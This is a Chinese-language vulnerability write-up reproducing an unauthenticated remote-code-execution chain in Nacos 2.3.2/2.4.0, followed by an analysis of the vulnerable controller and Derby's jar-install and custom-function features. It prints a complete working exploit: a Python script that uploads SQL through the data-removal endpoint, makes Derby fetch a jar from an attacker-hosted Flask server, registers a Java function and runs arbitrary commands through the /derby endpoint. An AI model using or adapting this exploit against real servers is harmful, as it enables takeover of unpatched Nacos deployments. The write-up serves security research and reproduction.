Nacos昨天爆出了一个漏洞poc:https://github.com/ayoundzw/nacos-poc。涉及两个路径
/nacos/v1/cs/ops/data/removal nacos/v1/cs/ops/derby
其中第二个路径之前出现过漏洞:https://github.com/alibaba/nacos/issues/4463,对应编号CVE-2021-29442。漏洞成因是,Nacos当时的版本是有鉴权的,但是这个路径没有添加@Secured
注解,可以未授权访问,并且可以用这个功能执行sql语句。该路径所在的ConfigOpsController
类就是用于数据库管理。后来修复:https://github.com/alibaba/nacos/pull/4517对这个路径增加了注解,要求admin用户权限。也就是需要登录后台才能访问了。
@GetMapping(value = "/derby") @Secured(action = ActionTypes.READ, resource = "nacos/admin") public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {...}
但是有意思的是,由于后来版本的鉴权在配置文件中包含默认的用户名、密码、key,导致了权限和认证绕过漏洞。参考:https://github.com/ax1sX/SecurityList/blob/main/Java_OA/NacosAudit.md。官方就干脆默认安装的时候不开启鉴权,让用户自己去配置,杜绝默认的用户名密码问题。但这也就意味着新版本中,默认是不开鉴权的,如果用户没有去配置鉴权,那上面CVE-2021-29442的路径还能利用。但是这个路径只支持select查询,无法实现RCE。
这个漏洞就配合了第一个路径,先将jar文件存储到数据库中,实现自定义函数,然后利用自定义函数实现RCE。写这篇文章就是因为第一步中对于derby攻击的利用方式是有通用的借鉴意义的。
漏洞复现
从github上https://github.com/alibaba/nacos/releases下载2.3.2或2.4.0版本,然后在bin目录下执行sh startup.sh -m standalone
PS:如果想要开启调试,需按下图更改startup.sh
文件后再执行sh startup.sh -m standalone
先启动service.py,脚本启动了一个web服务器,并且设置了一个路由/download
。
import base64 from flask import Flask, send_file,Response import config payload = b'base64' app = Flask(__name__) @app.route('/download') def download_file(): data = base64.b64decode(payload) print(data) response = Response(data, mimetype="application/octet-stream") return response if __name__ == '__main__': app.run(host=config.server_host, port=config.server_port)
头部的import config
,就是引入config.py
的配置,定义了在什么ip和端口下起这个服务器。
server_host = '127.0.0.1' server_port = 5000
payload实际就是一个jar文件的base64编码。可以用如下代码将其还原成jar包
import java.io.FileOutputStream; import java.io.IOException; import java.util.Base64; public class Base64ToJar { public static void main(String[] args) { String base64String = "base64_string"; byte[] jarBytes = Base64.getDecoder().decode(base64String); String jarFilePath = "output.jar"; try (FileOutputStream fos = new FileOutputStream(jarFilePath)) { fos.write(jarBytes); System.out.println("JAR文件已成功生成: " + jarFilePath); } catch (IOException e) { e.printStackTrace(); } } }
对应的jar包如下
然后执行攻击脚本
import random import sys import requests from urllib.parse import urljoin import config # 按装订区域中的绿色按钮以运行脚本。 def exploit(target, command, service): removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal') derby_url = urljoin(target, '/nacos/v1/cs/ops/derby') for i in range(0,sys.maxsize): id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8)) post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service); option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command); get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command); files = {'file': post_sql} post_resp = requests.post(url=removal_url,files=files) post_json = post_resp.json() if post_json.get('message',None) is None and post_json.get('data',None) is not None: print(post_resp.text) get_resp = requests.get(url=derby_url,params={'sql':get_sql}) print(get_resp.text) break if __name__ == '__main__': service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port) target = 'http://127.0.0.1:8848' command = 'open -a Calculator' target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target command = input('请输入命令,默认:open -a Calculator:') or command exploit(target=target, command=command,service=service)
脚本执行结果如下。
漏洞分析
先看看exploit中的第一步对/nacos/v1/cs/ops/data/removal
路径发起POST请求。根据路由定位到ConfigOpsController
。注释的意思是这类方法是将外部数据源被导入到derby中。
代码首先判断了是否为embedded storage mode,想要不执行if中的代码就要求单机模式启动,单机模式启动时为standalone Mode
,也就对应了漏洞复现时要求环境启动语句添加参数sh startup.sh -m standalone
。
然后执行文件上传,这里文件上传成功后会执行回调函数。也就是file -> {...
中的内容。回调函数中调用 databaseOperate.dataImport(file)
方法,将文件数据导入数据库。
dataImport()
方法异步执行任务,逐行读取文件中的内容,将非空的内容放入batchUpdate
这个列表变量中暂存。然后异步执行批量导入操作doDataImport()
,将结果存储到results列表中。等所有异步任务完成,如果所有任务都成功,即results中没有false,那么返回状态码200,否则返回500。
逻辑很简单,上传sql语句,然后批量执行sql。poc中一共上传了三句sql。这就需要了解一下derby的语法,了解这三句sql分别有什么作用。
derby RCE
Apache Derby是一个开源的关系数据库管理系统 (RDBMS),它使用 Java 编写。Derby的特点就是轻量级,占用的内存小,适合嵌入式应用,所有的功能都可以嵌入到java应用中运行。加入要开发嵌入式设备,在设备上存储数据和用户信息,就可以选用Derby嵌入式数据库,通过API在设备上管理数据而不需要复杂的数据库管理和配置。
查看derby的官方文档
1. CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n 2. CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n 3. CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
- https://db.apache.org/derby/docs/10.9/ref/rrefstorejarinstall.html
SQLJ.INSTALL_JAR
是一个存储过程函数,将jar文件存储在数据库中。此功能一般用于扩展数据库或自定义功能。可以让jar文件中的类和方法在数据库执行sql和存储过程中使用。
第一个参数是要安装的jar文件的位置。第二个参数是安装后在数据库中使用的名称,一般为架构名称.ID。第三个参数是标志位,表示如果已经存在同名文件是否覆盖。0表示不覆盖。
https://db.apache.org/derby/docs/10.1/ref/rrefsetdbpropproc.html
SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY
系统过程用于设置或删除当前连接上数据库的属性值。用法就是key:value
。在这里就是将derby.database.classpath
属性改为了jar安装后的名称NACOS.{id}
https://db.apache.org/derby/docs/10.4/ref/rrefcreatefunctionstatement.html
CREATE FUNCTION
语句允许创建 Java 函数,然后可以在表达式中使用这些函数。但是函数中要求必须包含以下三个元素。LANGUAGE
一般为JAVA
,EXTERNAL NAME
代表函数执行时要调用的Java方法,格式为类名.方法名
。PARAMETER STYLE
一般来说都是JAVA
。
POC样式如下,EXTERNAL NAME就是jar包中类的全限定类名。
CREATE FUNCTION S_EXAMPLE_{id} ( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
那么总结上述三步,就是将读入的jar包安装到数据库中,并且将数据库连接属性值改为该jar包名称。然后创建自定义函数。
由于这步可以导入任何sql语句,那么理论上还可以在创建Funtion或Procedure后,直接执行Call Procedure
。但是实际在Nacos下测试时这步会返回500。
触发自定义函数
/derby
路径下的函数如下,该方法主要用于Derby数据库的查询操作,确保只执行SELECT语句,并在必要时添加分页限制。如果当前存储模式不是 Derby 或者遇到异常,方法会返回相应的错误信息。
在Java应用程序中使用JDBC API调用Derby的存储过程和函数会触发相应的函数执行。
附录
教一下如何把class打成jar包。